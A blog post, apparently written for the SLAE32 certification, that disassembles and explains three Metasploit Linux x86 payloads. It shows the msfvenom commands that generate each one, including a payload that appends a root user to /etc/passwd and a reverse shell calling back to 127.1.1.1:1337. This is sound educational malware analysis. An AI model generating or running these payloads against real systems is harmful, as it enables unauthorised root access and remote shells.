SLAE32 Assignment 5 - X86 Msfvenom Shellcode Analysis

9 minute read

SLAE32 Assignment #5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1372

This is the fifth of seven assignments in order to complete the SLAE (32bit) certification. On this topic we will be analyzing Metasploit payloads.

Where to start?

In order to generate the different payloads it will be used a tool called msfvenom. Msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance.

Payloads that will be analyzed: - linux/x86/exec - linux/x86/adduser - linux/x86/shell_reverse_tcp

linux/x86/exec

The first step is to understand what are the different parameters that we need to pass to our payload.

[email protected]:~$ msfvenom -p linux/x86/exec --list-options
Options for payload/linux/x86/exec:
=========================


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <[email protected]>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

Looking into the options the only parameter is CMD. In our case we want to run pwd. The next step is to generate the payload and pipe the output into ndisasm.

[email protected]:~$ msfvenom -p linux/x86/exec CMD=pwd -f raw | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 39 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E804000000        call dword 0x21
0000001D  7077              jo 0x96
0000001F  64005753          add [fs:edi+0x53],dl
00000023  89E1              mov ecx,esp
00000025  CD80              int 0x80

As expected this payload will use the syscall execve (11). The arguments passed into the syscall will be /bin/sh -c pwd. The last argument (pwd) is pushed into the stack using the jmp-call-pop technique. Below we have all the code commented.

00000000  6A0B              push byte +0xb              ; stack <- 11
00000002  58                pop eax                     ; eax = 11 (decimal)
00000003  99                cdq                         ; Convert Doubleword to Quadword
00000004  52                push edx                    ; stack <- 0
00000005  66682D63          push word 0x632d            ; stack <- 0,c-
00000009  89E7              mov edi,esp                 ; edi = -c\x00
0000000B  682F736800        push dword 0x68732f         ; stack <- 0,c-,hs/
00000010  682F62696E        push dword 0x6e69622f       ; stack <- 0,c-,hs/,nib/
00000015  89E3              mov ebx,esp                 ; ebx = [/bin/sh\x00,-c\x00]
00000017  52                push edx                    ; stack <- 0,c-,hs/,nib/,0
00000018  E804000000        call dword 0x21             ; call the code at offset 0x21
0000001D  7077              jo 0x96                     ; pw
0000001F  64005753          add [fs:edi+0x53],dl        ; d\x00 push edi push ebx
                                                        ; jmp-call-pop technique pushing into stack pwd and 0
00000023  89E1              mov ecx,esp                 ; ecx = [/bin/sh\x00,-c\x00,pwd\x00]
00000025  CD80              int 0x80                    ; syscall (execve)

linux/x86/adduser

As before the first step is to look into the different options of the adduser payload.

[email protected]:~$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <[email protected]>
    vlad902 <[email protected]>
    spoonm <[email protected]$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

This time we must define PASS and USER. The SHELL is optional. We will add a user called hello with a password world. Like before, the next step is to generate the payload and pipe the output into ndisasm.

[email protected]:~$ msfvenom -p linux/x86/adduser USER=hello PASS=world -f raw | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E823000000        call dword 0x4e
0000002B  68656C6C6F        push dword 0x6f6c6c65
00000030  3A417A            cmp al,[ecx+0x7a]
00000033  4C                dec esp
00000034  4E                dec esi
00000035  41                inc ecx
00000036  2F                das
00000037  48                dec eax
00000038  43                inc ebx
00000039  33654F            xor esp,[ebp+0x4f]
0000003C  48                dec eax
0000003D  323A              xor bh,[edx]
0000003F  303A              xor [edx],bh
00000041  303A              xor [edx],bh
00000043  3A2F              cmp ch,[edi]
00000045  3A2F              cmp ch,[edi]
00000047  62696E            bound ebp,[ecx+0x6e]
0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75]
00000050  51                push ecx
00000051  FC                cld
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80

This time we have more syscalls than before :) The first syscall will set real and effective user IDs of the calling process by using the sys_setreuid syscall. After that will try to open the file “/etc/passwd” using for that the syscall sys_open. Once again with the usage of the technique jmp-call-pop we will be able to get the string that we want to write in the end of the passwd file. Last syscall just exists our program.

Below there is a more detailed explanation.

00000000  31C9              xor ecx,ecx                 ; ecx = 0 (euid - effective uid)
00000002  89CB              mov ebx,ecx                 ; ebx = 0 (ruid - real user uid)
00000004  6A46              push byte +0x46             
00000006  58                pop eax                     ; eax = 70 (decimal)
00000007  CD80              int 0x80                    ; syscall (sys_setreuid) - sets real and effective user IDs of the calling process
00000009  6A05              push byte +0x5              
0000000B  58                pop eax                     ; eax = 5
0000000C  31C9              xor ecx,ecx                 ; ecx = 0
0000000E  51                push ecx                    ; stack <-0
0000000F  6873737764        push dword 0x64777373       ; stack <-0, dwss,
00000014  682F2F7061        push dword 0x61702f2f       ; stack <-0, dwss, ap//
00000019  682F657463        push dword 0x6374652f       ; stack <-0, dwss, ap//, cte/
0000001E  89E3              mov ebx,esp                 ; ebx= "/etc//passwd"
00000020  41                inc ecx                     ; ecx = 1
00000021  B504              mov ch,0x4                  ; ecx = 0x401
00000023  CD80              int 0x80                    ; syscall (sys_open) - open /etc/passwd to append a new user
00000025  93                xchg eax,ebx                ; stores the file descriptor (0=standard input) into ebx
00000026  E823000000        call dword 0x4e             ; call the code at offset 0x4e
0000002B  68656C6C6F        push dword 0x6f6c6c65
00000030  3A417A            cmp al,[ecx+0x7a]
00000033  4C                dec esp
00000034  4E                dec esi
00000035  41                inc ecx
00000036  2F                das
00000037  48                dec eax
00000038  43                inc ebx
00000039  33654F            xor esp,[ebp+0x4f]
0000003C  48                dec eax
0000003D  323A              xor bh,[edx]
0000003F  303A              xor [edx],bh
00000041  303A              xor [edx],bh
00000043  3A2F              cmp ch,[edi]
00000045  3A2F              cmp ch,[edi]
00000047  62696E            bound ebp,[ecx+0x6e]
0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75]
00000050  51                push ecx
00000051  FC                cld
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80

After offset 2B is the position that we have our string. Using python we can easily see the content. python adduser

In order to understand it better we will use the k flag of ndisasm to skip the part that contains the string.

[email protected]:~$ msfvenom -p linux/x86/adduser USER=hello PASS=world -f raw | ndisasm -u -k 43,35 -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E823000000        call dword 0x4e
0000002B  skipping 0x23 bytes
0000004E  59                pop ecx
0000004F  8B51FC            mov edx,[ecx-0x4]
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80

Looking into more detail:

...
00000026  E823000000        call dword 0x4e
0000002B  skipping 0x23 bytes
0000004E  59                pop ecx                     ; ecx = 'hello:AzLNA/HC3eOH2:0:0::/:/bin/sh\n'
0000004F  8B51FC            mov edx,[ecx-0x4]           ; edx = 0x2B - 4 = 0x27 length of the string
00000052  6A04              push byte +0x4              
00000054  58                pop eax                     ; eax = 4
00000055  CD80              int 0x80                    ; syscall (sys_write) 
00000057  6A01              push byte +0x1              
00000059  58                pop eax                     ; eax = 1
0000005A  CD80              int 0x80                    ; syscall (sys_exit)

linux/x86/shell_reverse_tcp

This time we will use libemu to analyze our payload. Like on the two past examples we first need to discover what are the arguments of the linux/x86/shell_reverse_tcp*.

[email protected]:~$ msfvenom -p linux/x86/shell_reverse_tcp --list-options
Options for payload/linux/x86/shell_reverse_tcp:
=========================


       Name: Linux Command Shell, Reverse TCP Inline
     Module: payload/linux/x86/shell_reverse_tcp
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 68
       Rank: Normal

Provided by:
    Ramon de C Valle <[email protected]>
    joev <[email protected]>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
CMD    /bin/sh          yes       The command string to execute
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

LPORT and CMD are already predefined so we just need to define what is going to be the LHOST. For this case we will pick 127.1.1.1 as LHOST and change the LPORT to 1337.

Using this time the libemu library we can get a better visualization of the payload. The output won’t be just instruction like with nidasm, in this case these instructions will be translated to pseudocode as shown below:

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=127.1.1.1 LPORT=1337 | sctest -vvv -Ss 100000 -G meterpreter_reverse_tcp.dot
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 14597 (port=1337);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16843135 (host=127.1.1.1);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "//bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

As we can see we have the “same” code as shown on Assignment 2.

Another feature that we can get from libemu is the translation of the above code into a single picture where is also really easy to see all the execution.

libemu image

All the code can be found in my github